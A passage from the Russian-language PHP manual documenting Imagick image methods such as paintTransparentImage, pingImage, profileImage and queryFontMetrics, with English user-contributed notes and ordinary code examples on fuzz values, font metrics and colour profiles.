    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Perform Function
        // ---------------------------------------------

    $imagick_type->orderedPosterizeImage("o2x2", imagick::CHANNEL_GREEN);

        // Save File
        // ---------------------------------------------

    $file_to_save_with_location = "graphics_engine/image_workshop_directory/ordered_posterize_result.bmp"

    $file_handle_for_saving_image_file = fopen($file_to_save_with_location, 'a+');

    $imagick_type->writeImageFile($file_handle_for_saving_image_file);

?>


Изменяет значение цвета любого пикселя, соответствующего цели

  • « Imagick::orderedPosterizeImage
  • Imagick::paintOpaqueImage »
  • PHP Manual
  • Imagick
  • Изменяет значение цвета любого пикселя, соответствующего цели

Imagick::paintFloodfillImage

(PECL imagick 2 >= 2.1.0, PECL imagick 3)

Imagick::paintFloodfillImage — Изменяет значение цвета любого пикселя, соответствующего цели

Внимание

Функция объявлена УСТАРЕВШЕЙ в Imagick 3.4.4. Полагаться на эту функцию крайне не рекомендуется.

Описание

public Imagick::paintFloodfillImage(
mixed $fill,
float $fuzz,
mixed $bordercolor,
int $x,
int $y,
int $channel = Imagick::CHANNEL_DEFAULT
): bool

Изменяет значение цвета любого пикселя, который соответствует цели и является ближайшим соседом. Начиная с ImageMagick 6.3.8 этот метод устарел и вместо него следует использовать Imagick::floodfillPaintImage().

Список параметров

fill

Объект ImagickPixel или строка, содержащая цвет заливки.

fuzz

Мера округления (fuzz). Для примера, установите значение fuzz в 10 и красный цвет с интенсивностью 100 и 102 будет интерпретироваться как один и тот же цвет.

bordercolor

Объект ImagickPixel или строка, содержащая целевой цвет для рисования.

x

Начальная позиция заливки по оси X.

y

Начальная позиция заливки по оси Y.

channel

Передайте любую корректную для вашего режима канала константу. Для применения к более чем одному каналу, комбинируйте константы каналов с помощью побитовых операторов. По умолчанию равно Imagick::CHANNEL_DEFAULT. Обратитесь к списку констант каналов

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

mamcia at gmail dot com 17-Feb-2011 01:08
Seems that this method doesn't work as expected. Use Imagick::floodFillPaintImage() instead.

<?php
$img = new Imagick('/tmp/test.png');
$img->floodFillPaintImage('green', 10, 'white', 100, 100, false);
$img->writeImage('/tmp/out.png');
$img->clear();
$img->destroy();
?>


Изменяет любой пиксель, соответствующий цвету

  • « Imagick::paintFloodfillImage
  • Imagick::paintTransparentImage »
  • PHP Manual
  • Imagick
  • Изменяет любой пиксель, соответствующий цвету

Imagick::paintOpaqueImage

(PECL imagick 2, PECL imagick 3)

Imagick::paintOpaqueImage — Изменяет любой пиксель, соответствующий цвету

Внимание

Функция объявлена УСТАРЕВШЕЙ в Imagick 3.4.4. Полагаться на эту функцию крайне не рекомендуется.

Описание

public Imagick::paintOpaqueImage(
mixed $target,
mixed $fill,
float $fuzz,
int $channel = Imagick::CHANNEL_DEFAULT
): bool

Изменяет любой пиксель, соответствующий цвету, на цвет, определённый заливкой.

Список параметров

target

Изменяет целевой цвет на цвет заливки в изображении. Объект ImagickPixel или строка, представляющая целевой цвет.

fill

Объект ImagickPixel или строка, представляющая цвет заливки.

fuzz

Мера округления (fuzz) изображения определяет, насколько приемлемо рассматривать два цвета как один и тот же.

channel

Укажите любую константу канала, которая соответствует вашему режиму канала. Чтобы применить более чем к одному каналу, объедините константы типа канала с помощью побитовых операторов. Обратитесь к этому списку констант канала.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Список изменений

Версия | Описание
PECL imagick 2.1.0 | Теперь допускается передавать строку, представляющую цвет, в первый и второй параметр. Предыдущие версии допускали только объект ImagickPixel.

User Contributed Notes

There are no user contributed notes for this page.


Изменяет любой пиксель, соответствующий цвету, на цвет, определённый заливкой

  • « Imagick::paintOpaqueImage
  • Imagick::pingImage »
  • PHP Manual
  • Imagick
  • Изменяет любой пиксель, соответствующий цвету, на цвет, определённый заливкой

Imagick::paintTransparentImage

(PECL imagick 2, PECL imagick 3)

Imagick::paintTransparentImage — Изменяет любой пиксель, соответствующий цвету, на цвет, определённый заливкой

Внимание

Функция объявлена УСТАРЕВШЕЙ в Imagick 3.4.4. Полагаться на эту функцию крайне не рекомендуется.

Описание

public Imagick::paintTransparentImage(mixed $target, float $alpha, float $fuzz): bool

Изменяет любой пиксель, соответствующий цвету, на цвет, определённый заливкой.

Список параметров

target

Целевой цвет, заменяемый на указанное значение непрозрачности в изображении.

alpha

Уровень прозрачности: 1.0 - полностью непрозрачный, 0.0 - полностью прозрачный.

fuzz

Определяет, насколько допустимо считать два цвета одинаковыми.

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Список изменений

Версия | Описание
PECL imagick 2.1.0 | Теперь разрешает использовать строку, представляющую цвет, в качестве первого параметра. Предыдущие версии допускали только объект ImagickPixel.

User Contributed Notes

quickshiftin at gmail dot com 07-Oct-2014 04:22
Have a look at this thread on Stackoverflow for the answer regarding how to determine the max intensity of an image.

http://stackoverflow.com/questions/26239130/determine-max-possible-intensity-of-image/26240656#26240656

In short here is the code to make the $fuzz parameter behave more like you would expect (it now represents a percentage between 0-100). The $fuzz value should now be a float between 0 and 1.

class SaneImagick extends Imagick
{
    public function paintTransparentImage($target, $alpha, $fuzz)
    {
        $iQuantumDepth = pow(2, $this->getQuantumDepth()['quantumDepthLong']);
        return parent::paintTransparentImage($target, $alpha, $fuzz * $iQuantumDepth);
    }
}
alain at ocarina dot fr 17-Oct-2011 02:14
The fuzz is just working well in a range of 0 to 65535.

I suggest you to try to move fuzz on a color spectrum image.

1/ Get a color spectrum ( Google Image has a lot )

2/ Try this code :

<?php

    function fuzzTest($source, $target, $fuzz) {

        // Loads image
        $im = new Imagick($source);

        // Resizes images to make them easily comparable
        $im->resizeImage(320, 240, Imagick::FILTER_LANCZOS, 1, true);

        // Apply fuzz
        $im->paintTransparentImage($im->getImagePixelColor(0, 0), 0, $fuzz);

         // Writes image
        $im->setImageFormat('png');
        $im->writeImage($target);
        $im->destroy();

        return true;
     }

     for ($i = 0; ($i <= 10); $i++) {
         fuzzTest('spectrum.png', "test_{$i}.png", (6553.5 * $i));
         echo '<img src="test_' . $i . '.png" />&nbsp;';
     }

 ?>
Anonymous 06-Mar-2009 08:11
Actually it does seem to work just not the way expected perhaps.

Looking at the fuzz option on ImageMagick's site (http://www.imagemagick.org/script/command-line-options.php#fuzz), "The distance can be in absolute intensity units or, by appending % as a percentage of the maximum possible intensity (255, 65535, or 4294967295)."

As it requires a float, the percentage value won't work so it actually one of the max intensity values.  In my case, the images I was working with seemed to have max intensity values of 65535.  So a fuzz of 6500, for roughly 10%, seemed to do the trick.

The part that might be problematic though is how do you determine the max intensity of a color/image?  Using a static 6500 would be fine until I would have to convert an image with a max intensity other than 65535.  If it's 255 it would wipe the entire image.  Or fall far short on the fuzz with the larger value.


Получает основные атрибуты изображения

  • « Imagick::paintTransparentImage
  • Imagick::pingImageBlob »
  • PHP Manual
  • Imagick
  • Получает основные атрибуты изображения

Imagick::pingImage

(PECL imagick 2, PECL imagick 3)

Imagick::pingImage — Получает основные атрибуты изображения

Описание

public Imagick::pingImage(string $filename): bool

Метод можно использовать для запроса ширины, высоты, размера и формата изображения без считывания всего изображения в память.

Список параметров

filename

Имя файла, из которого следует прочитать информацию.

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

Gynoid 18-Sep-2015 11:08
Also you can do:

$image = new Imagick($file);
$width = $image->getImageWidth();
$height = $image->getImageHeight();

to catch the witdth/height parameters without use pingImage() initialization.
hello at digitalnature dot eu 31-Jul-2013 11:41
Just a warning: don't use Eero Niemi's code (identifyImage with pingImage) if you just want to get the image width and height, because it will actually be slower than reading the whole image into memory - about 10x slower!

Correct code should be:

<?php

  $image = new Imagick();
  $image->pingImage($file);
  $width = $image->getImageWidth();
  $height = $image->getImageHeight();

?>

(this is around 15 times faster than reading the image in memory)
Sergey 01-Sep-2012 03:06
If you don't sure whether the file exists or not or maybe it's broken, then you should use try - catch construction. It prevents code fails, when code stops execution after call of pingImage (if the file doesn't exist or it's broken).

<?php
$im = new Imagick();
try {
    $im->pingImage('3.jpg');
}
catch(ImagickException $e) {
    echo "image doesn't exist";
}
?>
Eero Niemi (eero at eero dot info) 21-May-2008 07:12
Actually the previous example causes file to be loaded twice on Imagick's stack, proper way to do this is:

<?php

$file = 'foo.jpg';
$image = new Imagick();
$image->pingImage($file);
$image_info = $image->identifyImage();

?>


Быстро извлекает атрибуты

  • « Imagick::pingImage
  • Imagick::pingImageFile »
  • PHP Manual
  • Imagick
  • Быстро извлекает атрибуты

Imagick::pingImageBlob

(PECL imagick 2, PECL imagick 3)

Imagick::pingImageBlob — Быстро извлекает атрибуты

Описание

public Imagick::pingImageBlob(string $image): bool

Метод можно использовать для запроса ширины, высоты, размера и формата изображения без считывания всего изображения в память. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.2.9 или старше.

Список параметров

image

Строка, содержащая изображение.

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::pingImageBlob()

Получение изображения из строки

<?php
/* чтение содержимого изображения */
$image = file_get_contents("test.jpg");

/* создание нового объекта imagick */
$im = new Imagick();

/* передача строки объекту imagick */
$im->pingImageBlob($image);

/* вывод ширины и высоты изображения */
echo $im->getImageWidth() . 'x' . $im->getImageHeight();
?>

Смотрите также

  • Imagick::pingImage() - Получает основные атрибуты изображения
  • Imagick::pingImageFile() - Получает базовые атрибуты изображения упрощённым способом
  • Imagick::readImage() - Читает изображение из файла
  • Imagick::readImageBlob() - Считывает изображение из двоичной строки
  • Imagick::readImageFile() - Читает изображение из открытого дескриптора файла

User Contributed Notes

There are no user contributed notes for this page.


Получает базовые атрибуты изображения упрощённым способом

  • « Imagick::pingImageBlob
  • Imagick::polaroidImage »
  • PHP Manual
  • Imagick
  • Получает базовые атрибуты изображения упрощённым способом

Imagick::pingImageFile

(PECL imagick 2, PECL imagick 3)

Imagick::pingImageFile — Получает базовые атрибуты изображения упрощённым способом

Описание

public Imagick::pingImageFile(resource $filehandle, string $fileName = ?): bool

Метод можно использовать для запроса ширины, высоты, размера и формата изображения без считывания всего изображения в память. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.2.9 или старше.

Список параметров

filehandle

Открытый дескриптор файла изображения.

fileName

Необязательное имя файла для данного изображения.

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::pingImageFile()

Открытие удалённой локации

<?php
/* Открытие удалённой локации с помощью fopen */
$fp = fopen("http://example.com/test.jpg");

/* Создание нового объекта Imagick */
$im = new Imagick();

/* Передача дескриптора объекту Imagick */
$im->pingImageFile($fp);
?>

Смотрите также

  • Imagick::pingImage() - Получает основные атрибуты изображения
  • Imagick::pingImageBlob() - Быстро извлекает атрибуты
  • Imagick::readImage() - Читает изображение из файла
  • Imagick::readImageBlob() - Считывает изображение из двоичной строки
  • Imagick::readImageFile() - Читает изображение из открытого дескриптора файла

User Contributed Notes

There are no user contributed notes for this page.


Имитирует фото Polaroid

  • « Imagick::pingImageFile
  • Imagick::posterizeImage »
  • PHP Manual
  • Imagick
  • Имитирует фото Polaroid

Imagick::polaroidImage

(PECL imagick 2, PECL imagick 3)

Imagick::polaroidImage — Имитирует фото Polaroid

Описание

public Imagick::polaroidImage(ImagickDraw $properties, float $angle): bool

Имитирует фото Polaroid. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.3.2 или старше.

Список параметров

properties

Свойства Polaroid.

angle

Угол Polaroid.

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::polaroidImage()

Пример использования Imagick::polaroidImage()

<?php
/* Создание объекта */
$image = new Imagick('source.png');

/* Установка непрозрачности */
$image->polaroidImage(new ImagickDraw(), 25);

/* Вывод изображения */
header('Content-type: image/png');
echo $image;

?>

User Contributed Notes

There are no user contributed notes for this page.


Уменьшает изображение до ограниченного количества уровней цвета

  • « Imagick::polaroidImage
  • Imagick::previewImages »
  • PHP Manual
  • Imagick
  • Уменьшает изображение до ограниченного количества уровней цвета

Imagick::posterizeImage

(PECL imagick 2, PECL imagick 3)

Imagick::posterizeImage — Уменьшает изображение до ограниченного количества уровней цвета

Описание

public Imagick::posterizeImage(int $levels, bool $dither): bool

Уменьшает изображение до ограниченного количества уровней цвета.

Список параметров

levels

dither

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::posterizeImage()

<?php
function posterizeImage($imagePath, $posterizeType, $numberLevels) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->posterizeImage($numberLevels, $posterizeType);
$imagick->setImageFormat('png');
header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

posterizeImage($imagePath, \Imagick::DITHERMETHOD_RIEMERSMA, 8);

?>

User Contributed Notes

linspb at gmail dot com 24-Jul-2017 02:19
At PHP 7.x before

$im->posterizeimage(2, FALSE);

do

$im->setImageType(imagick::IMGTYPE_COLORSEPARATION);

on PHP 5.x working without setImageType well.

Example:
$im = new Imagick();
$r = $im->readImageBlob($label);
if (!$r) {
    return FALSE;
}
$im->setImageType(imagick::IMGTYPE_COLORSEPARATION);
$im->posterizeimage(2, 0);
$bmp = $im->getImageBlob();


Быстрое определение подходящих параметров для обработки изображений

  • « Imagick::posterizeImage
  • Imagick::previousImage »
  • PHP Manual
  • Imagick
  • Быстрое определение подходящих параметров для обработки изображений

Imagick::previewImages

(PECL imagick 2, PECL imagick 3)

Imagick::previewImages — Быстрое определение подходящих параметров для обработки изображений

Описание

public Imagick::previewImages(int $preview): bool

Размещает 9 миниатюр указанного изображения с помощью операции обработки изображения, применяемой с разной интенсивностью. Это помогает быстро определить подходящий параметр для операции обработки изображения.

Список параметров

preview

Тип предварительного просмотра. Смотрите константы типа предварительного просмотра

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Переходит к предыдущему изображению в объекте

  • « Imagick::previewImages
  • Imagick::profileImage »
  • PHP Manual
  • Imagick
  • Переходит к предыдущему изображению в объекте

Imagick::previousImage

(PECL imagick 2, PECL imagick 3)

Imagick::previousImage — Переходит к предыдущему изображению в объекте

Описание

public Imagick::previousImage(): bool

Связывает предыдущее изображение в списке изображений с объектом Imagick.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

There are no user contributed notes for this page.


Добавляет или удаляет профиль изображения

  • « Imagick::previousImage
  • Imagick::quantizeImage »
  • PHP Manual
  • Imagick
  • Добавляет или удаляет профиль изображения

Imagick::profileImage

(PECL imagick 2, PECL imagick 3)

Imagick::profileImage — Добавляет или удаляет профиль изображения

Описание

public Imagick::profileImage(string $name, ?string $profile): bool

Добавляет или удаляет ICC, IPTC или общий профиль изображения. Если профиль NULL, он удаляется, иначе - добавляется. Используйте имя '*' и профиль NULL, чтобы удалить все профили изображения.

Список параметров

name

profile

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

dadima, gmail 05-Apr-2014 08:07
If profileImage() seems to be doing nothing — and "inverted colors" during a CMYK > RGB conversion is a sign of this — check that ImageMagick has the lcms delegate available.
From a command prompt:
convert -list configure | grep DELEGATES

If you don't see lcms in the list then Imagick won't do any color profile conversions, and won't give any warnings about this.  In that case, install the Little CMS library ( http://www.littlecms.com/ ) and recompile ImageMagick.
gavin at softyolk dot com 12-Jul-2009 04:28
Thanks for this very valuable information.
For a further push in the correct direction please
consider that you have to download the profiles,

and your most likely sources are:

http://www.color.org/srgbprofiles.xalter

and

http://www.adobe.com/support/downloads/product.jsp?product=62&platform=Windows

Note that the profiles are free, but you must install them
to make them available on you host system.
Eero Niemi (eero at eero dot info) 29-Apr-2008 07:01
If you need to convert images that are on CMYK format into RGB and want to preserve colour information, this may be helpful:

<?php
$image = new Imagick("CMYK_image.jpg"); // load image
$profiles = $image->getImageProfiles('*', false); // get profiles
$has_icc_profile = (array_search('icc', $profiles) !== false); // we're interested if ICC profile(s) exist

if ($has_icc_profile === false)
{
  // image does not have CMYK ICC profile, we add one
  $icc_cmyk = file_get_contents('/path/to/icc/SomeCMYKProfile.icc');
  $image->profileImage('icc', $icc_cmyk);
}

// Then we need to add RGB profile
$icc_rgb = file_get_contents('/path/to/icc/SomeRGBProfile.icc');
$image->profileImage('icc', $icc_rgb);

$image->setImageColorSpace(Imagick::COLORSPACE_RGB);

$image->writeImage("RGB_image.jpg");

?>

There may be better and more elegant ways to do this, but hope this helped.


Анализирует цвета эталонного изображения

  • « Imagick::profileImage
  • Imagick::quantizeImages »
  • PHP Manual
  • Imagick
  • Анализирует цвета эталонного изображения

Imagick::quantizeImage

(PECL imagick 2, PECL imagick 3)

Imagick::quantizeImage — Анализирует цвета эталонного изображения

Описание

public Imagick::quantizeImage(
int $numberColors,
int $colorspace,
int $treedepth,
bool $dither,
bool $measureError
): bool

Список параметров

numberColors

colorspace

treedepth

dither

measureError

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::quantizeImage()

<?php
function quantizeImage($imagePath, $numberColors, $colorSpace, $treeDepth, $dither) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->quantizeImage($numberColors, $colorSpace, $treeDepth, $dither, false);
$imagick->setImageFormat('png');
header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Анализирует цвета в последовательности изображений

  • « Imagick::quantizeImage
  • Imagick::queryFontMetrics »
  • PHP Manual
  • Imagick
  • Анализирует цвета в последовательности изображений

Imagick::quantizeImages

(PECL imagick 2, PECL imagick 3)

Imagick::quantizeImages — Анализирует цвета в последовательности изображений

Описание

public Imagick::quantizeImages(
int $numberColors,
int $colorspace,
int $treedepth,
bool $dither,
bool $measureError
): bool

Список параметров

numberColors

colorspace

treedepth

dither

measureError

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает массив, представляющий метрики шрифта

  • « Imagick::quantizeImages
  • Imagick::queryFonts »
  • PHP Manual
  • Imagick
  • Возвращает массив, представляющий метрики шрифта

Imagick::queryFontMetrics

(PECL imagick 2, PECL imagick 3)

Imagick::queryFontMetrics — Возвращает массив, представляющий метрики шрифта

Описание

public Imagick::queryFontMetrics(ImagickDraw $properties, string $text, bool $multiline = ?): array

Возвращает многомерный массив, представляющий метрики шрифта.

Список параметров

properties

Объект ImagickDraw, содержащий свойства шрифта.

text

Текст.

multiline

Многострочный параметр. Если оставить пустым, он определяется автоматически.

Возвращаемые значения

Возвращает многомерный массив, представляющий метрики шрифта.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::queryFontMetrics():

Запрашивает метрики для текста и выводит результаты на экран.

<?php
/* Создание нового объекта Imagick */
$im = new Imagick();

/* Создание нового объекта Imagick */
$draw = new ImagickDraw();

/* Установка шрифта */
$draw->setFont('/path/to/font.ttf');

/* Вывод метрики шрифта, автоматическое определение многострочного параметра */
var_dump($im->queryFontMetrics($draw, "Hello World!"));
?>

User Contributed Notes

stevepburgess at gmail dot com 24-May-2015 10:05
Having spent quite a bit of time looking at these values for various fonts, this is my understanding of the values given by the fontMetrics function. I am using php 5.3 and ImageMagick 6.5.4-7 on Centos 6.5.

characterWidth and characterHeight
- These seem to be related to the size you have specified for the font and don't seem to differ from font to font (at the same size). As such, they are not especially useful (to me, at least). They are not a reliable indicator of how much space the font will use.

ascender
- The ascender is the part of the font that is above the baseline. It is not character related - the ascender value is the same for every character in the font.

descender
- The descender is the part of the font that is below the baseline. It is represented as a negative figure. Adding the absolute values of the ascender and the descender gives you the...

textHeight
- This is the total height available to the font.  It is the same for every character in the font irrespective of its case or how much space the character seems to occupy. This can be used to determined the line height when outputting paragraphs, etc.

textWidth
- This value varies from character to character and is the width of the character. This is useful if the boundingBox does not provide usable values (see boundingBox below). When positioning characters one by one - don't use textWidth, use originX (see below).

maxHorizontalAdvance
- I'm afraid I haven't quite figured out the purpose of this. It is the same for every character in the font. For the font Arial Italic at size 67, the value is 89 which is much wider than the advance reported for the M or the W at the same size.

boundingBox
- This returns an associative array describing the four points (x1, y1, x2, y2) of a rectangle that contain the character. These values are relative to the origin (i.e. the coordinates of where you are drawing the character within an image). The returned rectangle is very accurate and encloses all parts of the printed character completely - but the boundingBox only works on single characters. It will not give accurate figures for multiple characters (in my experience anyway). When drawing a box you need to ADD "x" values to the origin and SUBTRACT "y" values from the origin. You cannot rely on the boundingBox for the SPACE character. It returns a boundingBox of (0,0,0,0).  textWidth (see above) comes in handy here.

originX and originY
- these are inaccurately titled. The values returned in originX and originY are actually advanceX and advanceY. These values give you the position of the next character relative to the current one.

I hope this is useful.
SkepticaLee 04-Feb-2014 05:34
The values do not match the array descriptors at all. If you have to know exactly how much space is being taken up by an annotation, use the following:

<?php
$text = "Algbqdj";
$im = new Imagick ();
$draw = new ImagickDraw ();
$draw->setStrokeColor ("none");
$draw->setFont ("Arial");
$draw->setFontSize (96);
$draw->setTextAlignment (Imagick::ALIGN_LEFT);
$metrics = $im->queryFontMetrics ($draw, $text);
//these are the values which accurately described the extent of the text and where it is to be drawn:
$baseline = $metrics['boundingBox']['y2'];
$textwidth = $metrics['textWidth'] + 2 * $metrics['boundingBox']['x1'];
$textheight = $metrics['textHeight'] + $metrics['descender'];
$draw->annotation (0, $baseline, $text);
$im->newImage ($textwidth, $textheight, "white");
$im->drawImage ($draw);
$draw->clear ();
$im->writeImage ("test.png");
$im->clear ();
?>

The file test.png should now contain pretty much the complete text with no borders. This may not work for very unusual fonts, but will work OK for Times New Roman and Arial.
jlong at carouselchecks dot com 30-May-2013 02:02
Example output from queryFontMetrics:

Array
(
    [characterWidth] => 9
    [characterHeight] => 9
    [ascender] => 9
    [descender] => -2
    [textWidth] => 71
    [textHeight] => 10
    [maxHorizontalAdvance] => 12
    [boundingBox] => Array
        (
            [x1] => 0
            [y1] => -2
            [x2] => 6.890625
            [y2] => 7
        )

    [originX] => 70
    [originY] => 0
)
abcrdw at gmail dot com 18-Sep-2011 10:49
This script will print a watermark on the middle of an image. The width of the watermark will depend on the width of the image.

<?php
// Create a new Imagick object
$objImage = new Imagick( 'path/to/image.jpg' );

// Get the width and height of the image
$imgSize   = $objImage->getImageGeometry();
$imgWidth  = $imgSize['width'];
$imgHeight = $imgSize['height'];

// Create a new text object
$objText = new ImagickDraw();

// Set te text color
$objText->setFillColor( new ImagickPixel('grey') );

// Set the text transparency: 0 = transparent, 1 = opaque
$objText->setFillAlpha( 0.2 );

// Top left will be point of reference
$objText->setGravity( Imagick::GRAVITY_NORTHWEST );

// Create an array for the textwidth and textheight
$textProperties = array( 'textWidth' => 0 );

// Set the desired width of the watermark to 90% of the image width
$textDesiredWidth = intval( $imgWidth * 0.9 );

// Set an initial value for the fontsize, will be increased in the loop below
$fontSize = 0;

// We use the domain name of the server for the watermark text
$text = $_SERVER['SERVER_NAME'];

// Increase the fontsize until we have reached our desired width
while ( $textProperties['textWidth'] <= $textDesiredWidth ) {
    $objText->setFontSize( $fontSize );
    $textProperties = $objImage->queryFontMetrics( $objText, $text );
    $fontSize++;
}

// Calculate the horizontal starting position
$watermarkPosX = intval( ($imgWidth - $textProperties['textWidth']) / 2 );

// Calculate the vertical starting position
$watermarkPosY = floor( ($imgHeight - $textProperties['textHeight']) / 2 );

// Composite the text on the image
$objImage->annotateImage( $objText, $watermarkPosX, $watermarkPosY, 0, $text );

// The browser must know this is JPEG image or else it will display garbled text
header( 'Content-Type: image/jpeg' );

// Display the image
echo $objImage;
?>
thok nojunk at spammail thok dot ca 03-Jan-2011 01:49
The following fields constitute my current PHP 5.2.1/Imagick 6.5.1 queryFontMetrics() return array (once setFontSize() and setFont() have been set):

characterWidth: maximum character ("em") width
characterHeight: maximum character height
ascender: the height of character ascensions (i.e. the straight bit on a 'b')
descender: the height of character descensions (i.e. the straight bit on a 'p')
textWidth: width of drawn text in pixels
textHeight: height of drawn text in pixels
maxHorizontalAdvance: maximum pixels from start of one character to start of the next
boundingBox: array of x1, y1, x2, y2 bounding borders
originX, originY: ?

originX seems to shadow the textWidth field, and originY has been zero thus far in my exploration.

If you're looking to center text or locate it at an edge, though, use ImagickDraw::setGravity(int $gravity), where $gravity is one of the following constants:

Imagick::GRAVITY_NORTHWEST
Imagick::GRAVITY_NORTH
Imagick::GRAVITY_NORTHEAST
Imagick::GRAVITY_WEST
Imagick::GRAVITY_CENTER
Imagick::GRAVITY_EAST
Imagick::GRAVITY_SOUTHWEST
Imagick::GRAVITY_SOUTH
Imagick::GRAVITY_SOUTHEAST

Using setGravity() is far less finicky for the simpler tasks.
george at sogetthis dot com 21-Nov-2010 03:44
Up to and including imagick 3.0.1, queryfontmetrics would output size data based on an image resolution of 72x72. (see bug: http://pecl.php.net/bugs/bug.php?id=19907)

Should you have set a resolution other than this and be using 3.0.1 or below, you need to scale measurements up by a factor of YOUR_RESOLUTION / 72

e.g. assuming you've set a resolution of 300
<?php
$im = new Imagick();
$im->setResolution(300,300);

$draw = new ImagickDraw();
$draw->setFont('/path/to/arial.ttf');
$draw->setFontSize(72 * (300 / 72));
$data = $im->queryfontmetrics($draw, 'hello world');
var_dump($data);
?>

In 3.0.2 and above, the solution is to set the resolution on the draw object to that of the image resolution
<?php
$im = new Imagick();
$im->setResolution(300,300);

$draw = new ImagickDraw();
$draw->setResolution(300,300);
$draw->setFont('/path/to/arial.ttf');
$draw->setFontSize(72);
$draw->setFillColor('#ff0000');
$data = $im->queryFontMetrics($draw, $string);

var_dump($data);
?>
Pete &#39;the Pete&#39; de Pijd 29-Jun-2009 06:18
You can also use $imagickDraw()->setTextAlignmnent(Imagick::ALIGN_CENTER) and $imagickDraw->annotation(..) instead.
waage 30-Jan-2008 07:57
You can use this to center a text within a box

<?php

$data = "Hello world";

$text = new ImagickDraw();
$text->setFontSize(12);
$text->setFont("Arial");

$boxWidth = 210;

$im = new Imagick();

$fm = $im->queryFontMetrics($text, $data, false);

$textXLoc = ($boxWidth / 2) - ($fm["textWidth"] / 2);

?>

$textXLoc is now the starting location you need to use to feed to your annotateImage() function.


Возвращает настроенные шрифты

  • « Imagick::queryFontMetrics
  • Imagick::queryFormats »
  • PHP Manual
  • Imagick
  • Возвращает настроенные шрифты

Imagick::queryFonts

(PECL imagick 2, PECL imagick 3)

Imagick::queryFonts — Возвращает настроенные шрифты

Описание

public static Imagick::queryFonts(string $pattern = "*"): array

Возвращает настроенные шрифты.

Список параметров

pattern

Шаблон запроса

Возвращаемые значения

Возвращает массив, содержащий настроенные шрифты.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::queryFonts()

<?php
$output = '';
$output .= "Шрифты, соответствующие 'Helvetica*':<br/>";

$fontList = \Imagick::queryFonts("Helvetica*");

foreach ($fontList as $fontName) {
$output .= '<li>'. $fontName."</li>";
}

return $output;

?>

User Contributed Notes

Stefano 24-Apr-2017 02:28
If you want to create a graphical output of the  configured/embedded fonts

function outputFont( $fontName = 'Courier' ) {
    $image = new Imagick();
    $draw = new ImagickDraw();

    $draw->setGravity( Imagick::GRAVITY_CENTER );
    $draw->setFont( $fontName );
    $draw->setFontSize( 12 );
    $draw->setFillColor( 'black' );

    $image->newImage( 300, 20, new ImagickPixel( 'lightblue' ) );
    $image->annotateImage( $draw, 0, 0, 0, $fontName );
    $image->setImageFormat( 'png' );

    $src = 'data: ' . mime_content_type( $image ) . ';base64,' . base64_encode( $image );
    return '<img src="' . $src . '"> ' . $fontName . '<br>';
}

echo '<style>img{vertical-align: middle; margin-bottom: 1px;}</style>';
$fontList = \Imagick::queryFonts( '*' );
foreach ( $fontList as $fontName ) {
    echo outputFont( $fontName );
}


Возвращает форматы, поддерживаемые Imagick

  • « Imagick::queryFonts
  • Imagick::radialBlurImage »
  • PHP Manual
  • Imagick
  • Возвращает форматы, поддерживаемые Imagick

Imagick::queryFormats

(PECL imagick 2, PECL imagick 3)

Imagick::queryFormats — Возвращает форматы, поддерживаемые Imagick

Описание

public static Imagick::queryFormats(string $pattern = "*"): array

Возвращает форматы, поддерживаемые Imagick.

Список параметров

pattern

Возвращаемые значения

Возвращает массив, содержащий форматы, поддерживаемые Imagick.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::queryFormats()

<?php
function render() {
$output = "";
$input = \Imagick::queryformats();
$columns = 6;

$output .= "<table border='2'>";

for ($i=0; $i < count($input); $i += $columns) {
$output .= "<tr>";
for ($c=0; $c<$columns; $c++) {
$output .= "<td>";
if (($i + $c) < count($input)) {
$output .= $input[$i + $c];
}
$output .= "</td>";
}
$output .= "</tr>";
}

$output .= "</table>";

return $output;
}

?>

User Contributed Notes

kawewong at gmail dot com 21-Jul-2021 05:28
The pattern argument is case sensitive. Example:

<?php
$input = \Imagick::queryformats('PNG*');
?>

The PNG* will be included PNG, PNG00, PNG24, PNG32, PNG48, PNG64, PNG8

(Reference https://www.geeksforgeeks.org/php-imagick-queryformats-function/ )

If you enter png* then it will be return nothing.


Радиальное размытие изображения

  • « Imagick::queryFormats
  • Imagick::raiseImage »
  • PHP Manual
  • Imagick
  • Радиальное размытие изображения

Imagick::radialBlurImage

(PECL imagick 2, PECL imagick 3)

Imagick::radialBlurImage — Радиальное размытие изображения

Внимание

Функция объявлена УСТАРЕВШЕЙ в Imagick 3.4.4. Полагаться на эту функцию крайне не рекомендуется.

Описание

